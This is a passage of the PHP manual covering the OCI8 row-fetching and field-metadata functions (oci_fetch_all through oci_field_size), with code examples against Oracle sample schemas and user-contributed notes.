//        ["POSTAL_CODE"]=>
//        string(6) "10934x"
//        ["CITY"]=>
//        string(6) "Venice"
//      }
//    }

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_all() with OCI_NUM

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW + OCI_NUM);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// Output is:
//    2 rows fetched
//    array(2) {
//      [0]=>
//      array(2) {
//        [0]=>
//        string(6) "00989x"
//        [1]=>
//        string(4) "Roma"
//      }
//      [1]=>
//      array(2) {
//        [0]=>
//        string(6) "10934x"
//        [1]=>
//        string(6) "Venice"
//      }
//    }

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

Using skip is very inefficient. All the rows to be skipped are included in the result set that is returned from the database to PHP. They are then discarded. It is more efficient to use SQL to restrict the offset and range of rows in the query. See oci_fetch_array() for an example.

Note:

Queries that return a large number of rows can be more memory efficient if a single-row fetching function like oci_fetch_array() is used.

Note:

For queries returning a large number of rows, performance can be significantly improved by increasing oci8.default_prefetch or using oci_set_prefetch().

Note:

In PHP versions before 5.0.0 you must use ocifetchstatement() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_set_prefetch() - Sets number of rows to be prefetched by queries

User Contributed Notes

david at boeke dot com 16-Dec-2003 10:17
The Skip and MaxRows parameters were not added until version 4.2.1.
Previous versions of php used this syntax:

           int ocifetchstatement ( resource stmt, array &output)

The function also took a third parameter that was not documented.  ( I assume that it was a flag)
oci_execute
oci_fetch_array
OCI8 Functions


Returns the next row from a query as an associative or numeric array

oci_fetch_all
oci_fetch_assoc
OCI8 Functions
PHP Manual

oci_fetch_array

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_array — Returns the next row from a query as an associative or numeric array

Description

array oci_fetch_array ( resource $statement [, int $mode ] )

Returns an array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

For details on the data type mapping performed by the OCI8 extension, see the datatypes supported by the driver

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

mode

An optional second parameter can be any combination of the following constants:

oci_fetch_array() Modes
Constant | Description
OCI_BOTH | Returns an array with both associative and numeric indices. This is the same as OCI_ASSOC + OCI_NUM and is the default behavior.
OCI_ASSOC | Returns an associative array.
OCI_NUM | Returns a numeric array.
OCI_RETURN_NULLS | Creates elements for NULL fields. The element values will be a PHP NULL.
OCI_RETURN_LOBS | Returns the contents of LOBs instead of the LOB descriptors.

The default mode is OCI_BOTH.

Use the addition operator "+" to specify more than one mode at a time.

Return Values

Returns an array with associative and/or numeric indices. If there are no more rows in the statement then FALSE is returned.

By default, LOB columns are returned as LOB descriptors.

DATE columns are returned as strings formatted to the current date format. The default format can be changed with Oracle environment variables such as NLS_LANG or by a previously executed ALTER SESSION SET NLS_DATE_FORMAT command.

Oracle's default, non-case sensitive column names will have uppercase associative indices in the result array. Case-sensitive column names will have array indices using the exact column case. Use var_dump() on the result array to verify the appropriate case to use for each query.

Examples

Example #1 oci_fetch_array() with OCI_BOTH

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_BOTH))) {
    // Use the uppercase column names for the associative array indices
    echo $row[0] . " and " . $row['DEPARTMENT_ID']   . " are the same<br>\n";
    echo $row[1] . " and " . $row['DEPARTMENT_NAME'] . " are the same<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_array() with OCI_NUM

<?php

/*
  Before running, create the table:
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_NUM))) {
    echo $row[0] . "<br>\n";
    echo $row[1]->read(11) . "<br>\n"; // this will output first 11 bytes from DESCRIPTION
}

// Output is:
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_array() with OCI_ASSOC

<?php

/*
  Before running, create the table:
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC))) {
    echo $row['ID'] . "<br>\n";
    echo $row['DESCRIPTION']->read(11) . "<br>\n"; // this will output first 11 bytes from DESCRIPTION
}

// Output is:
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 oci_fetch_array() with OCI_RETURN_NULLS

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC))) { // Ignore NULLs
    var_dump($row);
}

/*
The above code prints:
  array(1) {
    [1]=>
    string(1) "1"
  }
*/

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC+OCI_RETURN_NULLS))) { // Fetch NULLs
    var_dump($row);
}

/*
The above code prints:
  array(2) {
    [1]=>
    string(1) "1"
    ["NULL"]=>
    NULL
  }
*/

?>

Example #5 oci_fetch_array() with OCI_RETURN_LOBS

<?php

/*
  Before running, create the table:
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS))) {
    echo $row['ID'] . "<br>\n";
    echo $row['DESCRIPTION'] . "<br>\n"; // this contains all of DESCRIPTION
}

// Output is:
//    1
//    A very long string

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 oci_fetch_array() with case sensitive column names

<?php

/*
   Before running, create the table:
      CREATE TABLE mytab ("Name" VARCHAR2(20), city VARCHAR2(20));
      INSERT INTO mytab ("Name", city) values ('Chris', 'Melbourne');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

// Because 'Name' was created as a case-sensitive column, that same
// case is used for the array index.  However uppercase 'CITY' must
// be used for the case-insensitive column index
print $row['Name'] . "<br>\n";   //  prints Chris
print $row['CITY'] . "<br>\n";   //  prints Melbourne

oci_free_statement($stid);
oci_close($conn);

?>

Example #7 oci_fetch_array() with columns having duplicate names

<?php

/*
  Before running, create the tables:
      CREATE TABLE mycity (id NUMBER, name VARCHAR2(20));
      INSERT INTO mycity (id, name) values (1, 'Melbourne');
      CREATE TABLE mycountry (id NUMBER, name VARCHAR2(20));
      INSERT INTO mycountry (id, name) values (1, 'Australia');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT mycity.name, mycountry.name
        FROM mycity, mycountry
        WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// Output only contains one "NAME" entry:
//    array(1) {
//      ["NAME"]=>
//      string(9) "Australia"
//    }

// To query a repeated column name, use an SQL column alias like "AS ctnm":
$sql = 'SELECT mycity.name AS ctnm, mycountry.name
        FROM mycity, mycountry
        WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// Output now contains both columns selected:
//    array(2) {
//      ["CTNM"]=>
//      string(9) "Melbourne"
//      ["NAME"]=>
//      string(9) "Australia"
//    }

oci_free_statement($stid);
oci_close($conn);

?>

Example #8 oci_fetch_array() with DATE columns

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Set the date format for this connection.
// For performance reasons, consider changing the format
// in a trigger or with environment variables instead
$stid = oci_parse($conn, "ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'");
oci_execute($stid);

$stid = oci_parse($conn, 'SELECT hire_date FROM employees WHERE employee_id = 188');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
echo $row['HIRE_DATE'] . "<br>\n";  // prints 1997-06-14

oci_free_statement($stid);
oci_close($conn);

?>

Example #9 oci_fetch_array() with REF CURSOR

<?php
/*
  Create the PL/SQL stored procedure as:

  CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
  BEGIN
    OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Execute the returned REF CURSOR and fetch from it like a statement identifier
oci_execute($refcur);
echo "<table border='1'>\n";
while ($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

Example #10 oci_fetch_array() with a LIMIT-like query

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// This is the query you want to execute
$sql = 'SELECT city, postal_code FROM locations ORDER BY city';

// This nested query selects a subset of rows from $sql.
// In production environments, be careful to avoid SQL Injection
// issues with concatenated SQL statements
$limit_sql =
   'select *
    from ( select a.*, rownum as rnum
        from (' . $sql . ') a
        where rownum < :FIRST_ROW + :NUM_ROWS )
    where rnum >= :FIRST_ROW';

$first = 1;  // start with the first row
$num   = 5;  // return 5 rows
$stid = oci_parse($conn, $limit_sql);
oci_bind_by_name($stid, ':FIRST_ROW', $first);
oci_bind_by_name($stid, ':NUM_ROWS', $num);
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC))) {
    echo $row['CITY'] . " " . $row['POSTAL_CODE'] . "<br>\n";
}

// Output is:
//    Beijing 190518x
//    Bern 3095x
//    Bombay 490231x
//    Geneva 1730x
//    Hiroshima 6823x

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

Associative array indices need to be in uppercase for standard Oracle columns that were created with case insensitive names.

Note:

For queries returning a large number of rows, performance can be significantly improved by increasing oci8.default_prefetch or using oci_set_prefetch().

Note:

The function oci_fetch_array() is insignificantly slower than oci_fetch_assoc() or oci_fetch_row(), but is more flexible.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_set_prefetch() - Sets number of rows to be prefetched by queries

User Contributed Notes

Maxwell_Smart at ThePentagon dot com 09-Aug-2002 12:29
When using OCI_RETURN_LOBS to get a BFILE (stored with a DIRECTORY) the user needs READ on the DIRECTORY.  (GRANT READ on DIRECTORY <directory name> TO <user>;) Otherwise, you'll get a cryptic error. Warning: OCILobFileOpen: ORA-22285: non-existent directory or file for FILEOPEN operation in ... on line ...
<BR>
The user that CREATEs the DIRECTORY is automatically GRANTed READ WITH THE GRANT OPTION.
junk at netburp dot com 19-Oct-2000 02:39
Here's a clue about rowid.

Don't forget about the oracle functions:

"rowidtochar" and "chartorowid"

"select rowidtochar(rowid) as FOO from table ...."

When you want to pass the rowid in a form or link, that's
the only way to go.
oci_fetch_all
oci_fetch_assoc
OCI8 Functions


Returns the next row from a query as an associative array

oci_fetch_array
oci_fetch_object
OCI8 Functions
PHP Manual

oci_fetch_assoc

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_assoc — Returns the next row from a query as an associative array

Description

array oci_fetch_assoc ( resource $statement )

Returns an associative array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

Calling oci_fetch_assoc() is identical to calling oci_fetch_array() with OCI_ASSOC + OCI_RETURN_NULLS.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns an associative array. If there are no more rows in the statement then FALSE is returned.

Notes

Note:

See oci_fetch_array() for examples of fetching rows.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array

User Contributed Notes

dbernhardt129 at gmail dot com 06-Oct-2010 02:11
Here's a simple example of using the oci_fetch_assoc function for anyone who would like to see it.

<?php
$oconn = oci_connect('ora_user','ora_pass','ora_inst');
if (!$oconn){
  $msg = "Cannot connect to Oracle ".oci_error();
} else {
  $msg = "Connected to Oracle";
}

$select_stmt = "select username from user_table";

$stid = oci_parse($oconn, $select_stmt);
oci_execute($stid);

echo "<table border='1'>\n";

while ($row = oci_fetch_assoc($stid)) {
    echo "<tr>\n";
    echo "<td>". $row["USERNAME"] . "</td>\n";
    echo "</tr>\n";
 }

echo "</table>\n";

oci_free_statement($stid);
oci_close($oconn);
?>

Make sure you capitalize the column name for referencing the item in the associative array.  Of course, this is just a simple example and you might want to do some processing on the data prior to output, but you get the idea here.
oci_fetch_array
oci_fetch_object
OCI8 Functions


Returns the next row from a query as an object

oci_fetch_assoc
oci_fetch_row
OCI8 Functions
PHP Manual

oci_fetch_object

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_object — Returns the next row from a query as an object

Description

object oci_fetch_object ( resource $statement )

Returns an object containing the next result-set row of a query. Each attribute of the object corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

For details on the data type mapping performed by the OCI8 extension, see the datatypes supported by the driver

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns an object. Each attribute of the object corresponds to a column of the row. If there are no more rows in the statement then FALSE is returned.

Any LOB columns are returned as LOB descriptors.

DATE columns are returned as strings formatted to the current date format. The default format can be changed with Oracle environment variables such as NLS_LANG or by a previously executed ALTER SESSION SET NLS_DATE_FORMAT command.

Oracle's default, non-case sensitive column names will have uppercase attribute names. Case-sensitive column names will have attribute names using the exact column case. Use var_dump() on the result object to verify the appropriate case to use for each query.

Attribute values will be NULL for any NULL data fields.

Examples

Example #1 oci_fetch_object() example

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, description VARCHAR2(30));
    INSERT INTO mytab (id, description) values (1, 'Fish and Chips');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid))) {
    // Use upper case attribute names for each standard Oracle column
    echo $row->ID . "<br>\n";
    echo $row->DESCRIPTION . "<br>\n";
}

// Output is:
//    1
//    Fish and Chips

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_object() with case sensitive column names

<?php

/*
  Before running, create the table with a case sensitive column name:
    CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
    INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, "MyDescription" FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid))) {
    // Use upper case attribute names for each standard Oracle column
    echo $row->ID . "<br>\n";
    // Use the exact case for the case sensitive column name
    echo $row->MyDescription . "<br>\n";
}

// Output is:
//    1
//    Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_object() with LOBs

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, description CLOB);
    INSERT INTO mytab (id, description) values (1, 'A very long string');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid))) {
    echo $row->ID . "<br>\n";
    // The following will output the first 11 bytes from DESCRIPTION
    echo $row->DESCRIPTION->read(11) . "<br>\n";
}

// Output is:
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_row() - Returns the next row from a query as a numeric array

User Contributed Notes

There are no user contributed notes for this page.
oci_fetch_assoc
oci_fetch_row
OCI8 Functions


Returns the next row from a query as a numeric array

oci_fetch_object
oci_fetch
OCI8 Functions
PHP Manual

oci_fetch_row

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_row — Returns the next row from a query as a numeric array

Description

array oci_fetch_row ( resource $statement )

Returns a numerically indexed array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

Calling oci_fetch_row() is identical to calling oci_fetch_array() with OCI_NUM + OCI_RETURN_NULLS.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns a numerically indexed array. If there are no more rows in the statement then FALSE is returned.

Notes

Note:

See oci_fetch_array() for examples of fetching rows.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object

User Contributed Notes

There are no user contributed notes for this page.
oci_fetch_object
oci_fetch
OCI8 Functions


Fetches the next row from a query into internal buffers

oci_fetch_row
oci_field_is_null
OCI8 Functions
PHP Manual

oci_fetch

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch — Fetches the next row from a query into internal buffers

Description

bool oci_fetch ( resource $statement )

Fetches the next row from a query into internal buffers accessible either with oci_result(), or by using variables previously defined with oci_define_by_name().

See oci_fetch_array() for general information about fetching data.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns TRUE on success or FALSE if there are no more rows in the statement.

Examples

Example #1 oci_fetch() with defined variables

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// The defines MUST be done before executing
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// Each fetch populates the previously defined variables with the next row's data
while (oci_fetch($stid)) {
    echo "Location id $locid is $city<br>\n";
}

// Displays:
//   Location id 1000 is Roma
//   Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch() with oci_result()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
    echo oci_result($stid, 'LOCATION_ID') . " is ";
    echo oci_result($stid, 'CITY') . "<br>\n";
}

// Displays:
//   1000 is Roma
//   1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 use ocifetch() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_define_by_name() - Associates a PHP variable with a column for query fetches
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_result() - Returns field's value from the fetched row

User Contributed Notes

There are no user contributed notes for this page.
oci_fetch_row
oci_field_is_null
OCI8 Functions


Checks if the field is NULL

oci_fetch
oci_field_name
OCI8 Functions
PHP Manual

oci_field_is_null

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_is_null — Checks if the field is NULL

Description

bool oci_field_is_null ( resource $statement , mixed $field )

Checks if the given field from the statement is NULL.

Parameters

statement

A valid OCI statement identifier.

field

Can be a field's index or a field's name (uppercased).

Return Values

Returns TRUE if field is NULL, FALSE otherwise.

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnisnull() instead. This name still can be used, it was left as alias of oci_field_is_null() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

Raju Joseph [RajuJoseph at usa dot net] 14-Sep-2003 07:36
<?php

// Connect to Oracle database.

//        Username  : Raju
//        Password  : Password
//        Database  : Database_name

  $conn=OCILogon("Raju", "Password", "DATABASE_NAME");
  if ( ! $conn ) {
    echo "Unable to connect: " . var_dump( OCIError() );
    die();
  }

// Select Data...

// DESC[RIBE] COMPANY

//   CompanyID          VARCHAR2(10)
//   CompanyName      VARCHAR2(30)
//   LastUserID           VARCHAR2(15)
//   LastDate              DATE
//

  $query = "SELECT * FROM Company";

  $result = OCIParse($conn, $query);
  OCIExecute($result, OCI_DEFAULT);

while (OCIFetchInto ($result, $row, OCI_ASSOC)) {

// Usage of OCIcolumnisnull()
if (OCIcolumnisnull($result, 'CompanyName')) {

    print ( "<P>" . $row['CompanyID'] . "--->" . "Company Name NOT found !!  " . "<P>"  );
}
else {

    print ("<P>" . $row['CompanyID'] . "--->" . $row['CompanyName'] . "<P>"  );
}
}

// Close connection from Oracle...

  OCILogoff($conn);
?>
oci_fetch
oci_field_name
OCI8 Functions


Returns the name of a field from the statement

oci_field_is_null
oci_field_precision
OCI8 Functions
PHP Manual

oci_field_name

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_name — Returns the name of a field from the statement

Description

string oci_field_name ( resource $statement , int $field )

Returns the name of the field.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the name as a string, or FALSE on errors.

Examples

Example #1 oci_field_name() example

<?php
$conn = oci_connect("scott", "tiger");
$stmt = oci_parse($conn, "SELECT * FROM emp");
oci_execute($stmt);

echo "<table border=\"1\">";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>";

$ncols = oci_num_fields($stmt);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stmt, $i);
    $column_type  = oci_field_type($stmt, $i);
    $column_size  = oci_field_size($stmt, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "<td>$column_size</td>";
    echo "</tr>";
}

echo "</table>\n";
oci_free_statement($stmt);
oci_close($conn);
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnname() instead. This name still can be used, it was left as alias of oci_field_name() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_num_fields() - Returns the number of result columns in a statement
  • oci_field_type() - Returns field's data type
  • oci_field_size() - Returns field's size

User Contributed Notes

Norbert 08-Jun-2011 01:50
This does not work for empty tables.
Paul 31-Jul-2010 06:25
Beware, the field index starts with 1, not 0. It's a bit counter-intuitive.
oci_field_is_null
oci_field_precision
OCI8 Functions


Tell the precision of a field

oci_field_name
oci_field_scale
OCI8 Functions
PHP Manual

oci_field_precision

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_precision — Tell the precision of a field

Description

int oci_field_precision ( resource $statement , int $field )

Returns precision of the field.

For FLOAT columns, precision is nonzero and scale is -127. If precision is 0, then column is NUMBER. Else it's NUMBER(precision, scale).

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the precision as an integer, or FALSE on errors.

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnprecision() instead. This name still can be used, it was left as alias of oci_field_precision() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_field_scale() - Tell the scale of the field
  • oci_field_type() - Returns field's data type

User Contributed Notes

webmaster at smwebdesigns dot com 15-Oct-2007 05:58
I did not test well before posting previous code.  This if statement works and the other does not.

if( ocicolumnscale($R, $i ) != 129 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}
webmaster at smwebdesigns dot com 11-Oct-2007 12:39
I've found that when using ocicolumnprecision or oci_field_precision it will not show you the decimal places if you are are reading from tables with decimals.  You can use ocicolumnscale or oci_field_scale to find the decimal.

if( ocicolumnscale($R, $i ) > 0 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}
oci_field_name
oci_field_scale
OCI8 Functions


Tell the scale of the field

oci_field_precision
oci_field_size
OCI8 Functions
PHP Manual

oci_field_scale

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_scale — Tell the scale of the field

Description

int oci_field_scale ( resource $statement , int $field )

Returns the scale of the column with field index.

For FLOAT columns, precision is nonzero and scale is -127. If precision is 0, then column is NUMBER. Else it's NUMBER(precision, scale).

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the scale as an integer, or FALSE on errors.

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnscale() instead. This name still can be used, it was left as alias of oci_field_scale() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_field_precision() - Tell the precision of a field
  • oci_field_type() - Returns field's data type

User Contributed Notes

There are no user contributed notes for this page.
oci_field_precision
oci_field_size
OCI8 Functions


Returns field's size

oci_field_scale
oci_field_type_raw
OCI8 Functions
PHP Manual

oci_field_size

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_size — Returns field's size

Description

int oci_field_size ( resource $statement , mixed $field )

Returns the size of a field.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the size of a field in bytes, or FALSE on errors.

Examples

Example #1 oci_field_size() example

<?php
$conn = oci_connect("scott", "tiger");
$stmt = oci_parse($conn, "SELECT * FROM emp");
oci_execute($stmt);

echo "<table border=\"1\">";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>";

$ncols = oci_num_fields($stmt);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stmt, $i);
    $column_type  = oci_field_type($stmt, $i);
    $column_size  = oci_field_size($stmt, $i);
    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "<td>$column_size</td>";
    echo "</tr>";
}

echo "</table>";

